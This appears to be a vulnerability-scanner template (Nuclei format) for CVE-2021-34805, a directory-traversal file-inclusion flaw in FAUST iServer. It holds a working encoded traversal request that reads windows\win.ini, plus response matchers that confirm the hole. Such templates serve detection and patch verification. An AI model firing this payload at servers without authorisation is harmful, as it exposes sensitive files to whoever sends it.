id: CVE-2021-34805

info:
  name: FAUST iServer 9.0.018.018.4 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of FAUST iServer.
  reference:
    - https://cxsecurity.com/issue/WLB-2022010120
    - http://packetstormsecurity.com/files/165701/FAUST-iServer-9.0.018.018.4-Local-File-Inclusion.html
    - http://www.land-software.de/lfs.fau?prj=iweb&dn=faust+iserver
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34805
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-34805
    cwe-id: CWE-22
    epss-score: 0.26823
    epss-percentile: 0.97832
    cpe: cpe:2.3:a:land-software:faust_iserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: land-software
    product: faust_iserver
  tags: cve2021,cve,lfi,packetstorm,faust,iserver,land-software,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100be88261e62f9a9bb1b4d390e50aab1661b458342dcac7d7f3126da263987252d0220279d490b2fe7613ede654bc439a5450e0ca2722516343e52c3dcf65cfcc7d65f:922c64590222798bb761d5b6d8e72950